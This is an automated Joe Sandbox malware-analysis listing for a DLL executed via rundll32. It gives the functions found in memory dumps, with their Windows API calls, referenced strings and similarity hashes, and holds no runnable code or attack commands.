Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: +$-
API String ID: 3215553584-2137968064
Opcode ID: 71210f2582e464a0a471a66a04251737dbaa018989f03128c340a2212adcaa4b
Instruction ID: c2add108f8f0eb45061016275070246627456d95ae6c044662e557e5ca90db99
Opcode Fuzzy Hash: 71210f2582e464a0a471a66a04251737dbaa018989f03128c340a2212adcaa4b
Instruction Fuzzy Hash: 4612C526E0DD6345FB249A97D0442BC669EEF40774FEC41BAD69A432F0DF2CE681A704

Function 00007FFE115046B0 Relevance: 9.1, APIs: 6, Instructions: 85libraryloaderfileCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FFE11504738
GetProcAddress.KERNEL32 ref: 00007FFE11504770
GetProcAddress.KERNEL32 ref: 00007FFE115047A8
GetProcAddress.KERNEL32 ref: 00007FFE115047E0
GetModuleFileNameW.KERNEL32 ref: 00007FFE1150480F
DeleteFileW.KERNEL32 ref: 00007FFE11504859

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProc$File$DeleteLibraryLoadModuleName
String ID:
API String ID: 3615269725-0
Opcode ID: e99044e11731c57dbd82a7436a7fcb8d1a793e2e708b2735417dfccd9acd41f5
Instruction ID: a2b284ba31b98c5263f9a6bbe8ccba939f2b1aa8ce557931def97fee63388fef
Opcode Fuzzy Hash: e99044e11731c57dbd82a7436a7fcb8d1a793e2e708b2735417dfccd9acd41f5
Instruction Fuzzy Hash: 9651F732918E8182EB609B62F49436EB7B8FBC4764F401179E6CD42AB9DF7CD549CB40

Function 00007FFE11501830 Relevance: 9.1, APIs: 6, Instructions: 75registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FFE11501893
RegEnumKeyExW.ADVAPI32 ref: 00007FFE11501905
RegOpenKeyExW.ADVAPI32 ref: 00007FFE1150192C
RegQueryValueExW.ADVAPI32 ref: 00007FFE11501958
RegCloseKey.ADVAPI32 ref: 00007FFE11501971
RegCloseKey.ADVAPI32 ref: 00007FFE1150198B

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: CloseOpen$EnumQueryValue
String ID:
API String ID: 1729155201-0
Opcode ID: 9c4782bd5d54c8b2f4254a5c0b6a80ecf7c17107a6a5495685acaccf18321a28
Instruction ID: 27c8fa2d704b825dba5a93347db9db633ee00adeffd945a558147346b438a0b0
Opcode Fuzzy Hash: 9c4782bd5d54c8b2f4254a5c0b6a80ecf7c17107a6a5495685acaccf18321a28
Instruction Fuzzy Hash: FC411932618E8186E760DB66F49476EB7B4FB857A4F500135EACD82A78DF7CE508CB40

Function 00007FFE1150D764 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FFE1150D784
GetProcAddress.KERNEL32 ref: 00007FFE1150D79A
FreeLibrary.KERNEL32 ref: 00007FFE1150D7BF

Strings

CorExitProcess, xrefs: 00007FFE1150D793
mscoree.dll, xrefs: 00007FFE1150D77B

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5e573ed8c4ee126ded1d13513922153a32cd34e60b3b0e3fa287f2206dab5a33
Instruction ID: cc9aacfd8f5b641c221de7f121547107e6e5d2f1c4f37653d4cb22951614fd3b
Opcode Fuzzy Hash: 5e573ed8c4ee126ded1d13513922153a32cd34e60b3b0e3fa287f2206dab5a33
Instruction Fuzzy Hash: 18F04926A19F8281EF468B52F4843BD63B9AF88BA0F481079E90F46674EF3CD484C700

Function 00007FFE11517038 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE1151707D

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 24a19ad1fa68cb3dd82936b017d67ecca1e952e8204401616d57021115da0df1
Instruction ID: 0e78e85b20edebac902e5ac30c753b56ed2985ebc0d18a651ed602068515d586
Opcode Fuzzy Hash: 24a19ad1fa68cb3dd82936b017d67ecca1e952e8204401616d57021115da0df1
Instruction Fuzzy Hash: 0C81C236E18E1289F7629B6B98406BD37AABB447A8F4041B5DE0E537B5CF3CE542C710

Function 00007FFE115169AC Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFE115171DF), ref: 00007FFE11516A09
WideCharToMultiByte.KERNEL32 ref: 00007FFE11516AE5
WriteFile.KERNEL32 ref: 00007FFE11516B0B
WriteFile.KERNEL32 ref: 00007FFE11516B4A
GetLastError.KERNEL32 ref: 00007FFE11516B82

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 1c8dbfc0f9a6c678fe6545e0ff9f4c6e15195c03dc9945568d828b41c0f1c9a2
Instruction ID: 22a5df735d7996c4023eb6aa8b3373d0b0ece43d4a213338e9b9d8c14ee672da
Opcode Fuzzy Hash: 1c8dbfc0f9a6c678fe6545e0ff9f4c6e15195c03dc9945568d828b41c0f1c9a2
Instruction Fuzzy Hash: 25519D72A14E5189E711CB66E4443AC3BBAFB44BA8F048175DE4E47AB8DF7CD145C710

Function 00007FFE11510E0C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00000000,00000006,00007FFE115110E7,?,?,00000000,00007FFE1150FA7F,?,?,?,00007FFE1150F235), ref: 00007FFE11510F2E

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: e15ac4d827317ed69b53cec698e8523a8fc4d4abecf9bddf3b96c284d10d04bd
Instruction ID: 8bff9acdda925c9b115c40c7d1af2da06b4af1e4dafccaf8eb61ece0e36bddd6
Opcode Fuzzy Hash: e15ac4d827317ed69b53cec698e8523a8fc4d4abecf9bddf3b96c284d10d04bd
Instruction Fuzzy Hash: 8B41CF62B0DE4285FB169B53A8046B663ABBF54BF0F094675DD2D4B7B4EE3CE4448300

Function 00007FFE11503300 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE115026A0: MultiByteToWideChar.KERNEL32 ref: 00007FFE115026D5
Part of subcall function 00007FFE115026A0: MultiByteToWideChar.KERNEL32 ref: 00007FFE11502729

CreateFileW.KERNEL32 ref: 00007FFE1150337C
SetFilePointer.KERNEL32 ref: 00007FFE115033A3
CloseHandle.KERNEL32 ref: 00007FFE1150344B

Part of subcall function 00007FFE11506950: GetProcessHeap.KERNEL32 ref: 00007FFE11506959
Part of subcall function 00007FFE11506950: RtlAllocateHeap.NTDLL ref: 00007FFE1150696C

SetFilePointer.KERNEL32 ref: 00007FFE115033E0
ReadFile.KERNEL32 ref: 00007FFE11503403

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: File$ByteCharHeapMultiPointerWide$AllocateCloseCreateHandleProcessRead
String ID:
API String ID: 4053899944-0
Opcode ID: b79db9a9037c3a8fbb997c2798cabdda90be4f8e10c041602780bc7ef26bfb75
Instruction ID: 29618f1e0c5af35c9ca59c353de1aae8d83d2483c1a65b3601c5a924bcb70c7b
Opcode Fuzzy Hash: b79db9a9037c3a8fbb997c2798cabdda90be4f8e10c041602780bc7ef26bfb75
Instruction Fuzzy Hash: 4E410436A0CA8186E3609B56F45836FB7A4FBC17A4F200178EA8D47AB9DF7DD444CB00

Function 00007FFE11517A08 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FFE11517A2F
_set_statfp.LIBCMT ref: 00007FFE11517A4A
_set_statfp.LIBCMT ref: 00007FFE11517A66
_set_statfp.LIBCMT ref: 00007FFE11517AA2

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 328a82265769b0ffb80da814976cc54abad42b11a73727b237c9197753426e8a
Instruction ID: 38b5651e8df42a456765f60df08506e5f82b31a800449f87307be81b9b3d630e
Opcode Fuzzy Hash: 328a82265769b0ffb80da814976cc54abad42b11a73727b237c9197753426e8a
Instruction Fuzzy Hash: 5E11E337E9CE0341F7A611AEE4423BB014BAF443B4F0542B8EA6E025F6CEECAA414200

Function 00007FFE11516DD8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FFE11516EBE
WriteFile.KERNEL32 ref: 00007FFE11516EF1
GetLastError.KERNEL32 ref: 00007FFE11516F13

Strings

U, xrefs: 00007FFE11516E9C

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 6eddbc036e5050aeab1b959d2b89e7b8800bfca6deecbe5a24fdc43e9229e2a6
Instruction ID: 29ca70d333ea955002ac13d3083596fb0ae5ce26dd589cc0475557bc83b81e57
Opcode Fuzzy Hash: 6eddbc036e5050aeab1b959d2b89e7b8800bfca6deecbe5a24fdc43e9229e2a6
Instruction Fuzzy Hash: A141D522B18A4186DB21CF66E4043BA7766FB887A4F804131EE4D877B8EF7CD441CB50

Function 00007FFE115124DC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFE1150DBB7), ref: 00007FFE115124F5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FFE1150DBB7), ref: 00007FFE11512557
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FFE1150DBB7), ref: 00007FFE11512591
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFE1150DBB7), ref: 00007FFE115125BB

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 79db9be13cf869128da37b9d5474d497bf9004c46a2759e535b0f3481bc02e87
Instruction ID: b4e877a3c3872626dee9215d3b4f457308a8e716f18622c3cf006920500deea1
Opcode Fuzzy Hash: 79db9be13cf869128da37b9d5474d497bf9004c46a2759e535b0f3481bc02e87
Instruction Fuzzy Hash: 4121A571F18F5181EB218F136490029A6A9FB94BE0B5D4174DE8E67BF5EF3CE4528740

Function 00007FFE11504160 Relevance: 6.1, APIs: 4, Instructions: 52fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE115026A0: MultiByteToWideChar.KERNEL32 ref: 00007FFE115026D5
Part of subcall function 00007FFE115026A0: MultiByteToWideChar.KERNEL32 ref: 00007FFE11502729

CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11503FBB), ref: 00007FFE115041DA
SetFilePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11503FBB), ref: 00007FFE115041FA
WriteFile.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11503FBB), ref: 00007FFE11504220
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11503FBB), ref: 00007FFE11504244

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: File$ByteCharMultiWide$CloseCreateHandlePointerWrite
String ID:
API String ID: 2756471129-0
Opcode ID: 6b23d0c6e40299690f7a36898869f45c32df837b7ab4a1c95e255d025550afc3
Instruction ID: a842e491601e005fd9f2c4575d9b4f2ebb9e15073606ee3205ad19157fa4f769
Opcode Fuzzy Hash: 6b23d0c6e40299690f7a36898869f45c32df837b7ab4a1c95e255d025550afc3
Instruction Fuzzy Hash: 0021D532618A8282E720DB96F45476EBBB4F7C17A4F600168EA9942AB8DF7DD4458F40

Function 00007FFE1150F98C Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFE1150BB84,?,?,?,00007FFE1150CC91), ref: 00007FFE1150F996
SetLastError.KERNEL32(?,?,?,00007FFE1150BB84,?,?,?,00007FFE1150CC91), ref: 00007FFE1150F9FE
SetLastError.KERNEL32(?,?,?,00007FFE1150BB84,?,?,?,00007FFE1150CC91), ref: 00007FFE1150FA14
abort.LIBCMT ref: 00007FFE1150FA1A

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 8f5f44110bc1d0632d251398e1016294268f9f654d9382c7bde1d867465509cc
Instruction ID: 612cf189e6720a16366058fc75473db9d9b86888803d22424f859f678ab5663d
Opcode Fuzzy Hash: 8f5f44110bc1d0632d251398e1016294268f9f654d9382c7bde1d867465509cc
Instruction Fuzzy Hash: AD018010B09E4283FB4AA3B7655527C116A9F447B4F2409BED91E037F6EE2DF8408202

Function 00007FFE11507EA0 Relevance: 6.0, APIs: 4, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FFE11507EE4
SetFilePointer.KERNEL32 ref: 00007FFE11507F04
WriteFile.KERNEL32 ref: 00007FFE11507F2C
CloseHandle.KERNEL32 ref: 00007FFE11507F43

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 83807af017437b31c501729392df66d907e5eab3e2636974724a16a37aa36c3d
Instruction ID: 7a6ea21e4fa0676e51ea444db867e7b751d2567e0d66e3391fded32e82466f70
Opcode Fuzzy Hash: 83807af017437b31c501729392df66d907e5eab3e2636974724a16a37aa36c3d
Instruction Fuzzy Hash: 75110A32618E4182E320CB16F45871BB7B5F7C17A4F604228EBE942AB8CF3DD4558F40

Function 00007FFE1150AEB4 Relevance: 6.0, APIs: 4, Instructions: 17COMMON

Download Yara Rule

APIs

__vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00007FFE1150AEB8
__vcrt_initialize_locks.LIBVCRUNTIME ref: 00007FFE1150AEC2

Part of subcall function 00007FFE1150B790: __vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00007FFE1150B7AF

__vcrt_initialize_ptd.LIBVCRUNTIME ref: 00007FFE1150AECF
__vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FFE1150AED8

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: CriticalInitializeSection__vcrt___vcrt_initialize_locks__vcrt_initialize_ptd__vcrt_initialize_pure_virtual_call_handler__vcrt_uninitialize_locks
String ID:
API String ID: 1318428292-0
Opcode ID: eb2f8f0094a652a8ec3976215d151007980e554bb10d0978fa0b734800c382c4
Instruction ID: 24769f847cd4d8036051f19c9caa48ba216ae6e7467ff28259edf338a7673757
Opcode Fuzzy Hash: eb2f8f0094a652a8ec3976215d151007980e554bb10d0978fa0b734800c382c4
Instruction Fuzzy Hash: 0FD04858C0DE4389FFA47AE315821BC024C2F61374F591AF8E50D122B36E0E2A8A2632

Function 00007FFE1150BCCC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE1150BCFE
_invalid_parameter_noinfo.LIBCMT ref: 00007FFE1150BF3C

Strings

*, xrefs: 00007FFE1150BE0C

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: 9aa440b12cdd57db820100a022e373787db2dce34c9df4772f73532b9b2b7131
Instruction ID: 02078bccb919df24a903c617e56e983c41a8e3bb9d56165188153ece8752e35c
Opcode Fuzzy Hash: 9aa440b12cdd57db820100a022e373787db2dce34c9df4772f73532b9b2b7131
Instruction Fuzzy Hash: 4771647A918A128AE7648F6680C413C3BA8FB45F68F2411BEDB1A433B4DF3DD881D755

Function 00007FFE11510020 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE11510063

Strings

gfff, xrefs: 00007FFE1151018E
e+000, xrefs: 00007FFE1151010B

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 1aa317aee98420e886a7189b94bb31c84e6dffec3168e682d301d2b8c5b875d8
Instruction ID: 10257fcbfbbea18250dbfd7a3dbfd2a42146e71296347ffc7a7d584b6f6c4592
Opcode Fuzzy Hash: 1aa317aee98420e886a7189b94bb31c84e6dffec3168e682d301d2b8c5b875d8
Instruction Fuzzy Hash: 53512962B18BC586E7268B369D4136D6B96E781BB0F488275C79C87BF5CE2CD445C700

Function 00007FFE1150DA1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE1150DA46
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FFE11509C0C,?,?,?,?,00007FFE115098F4), ref: 00007FFE1150DA67

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00007FFE1150DA55

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

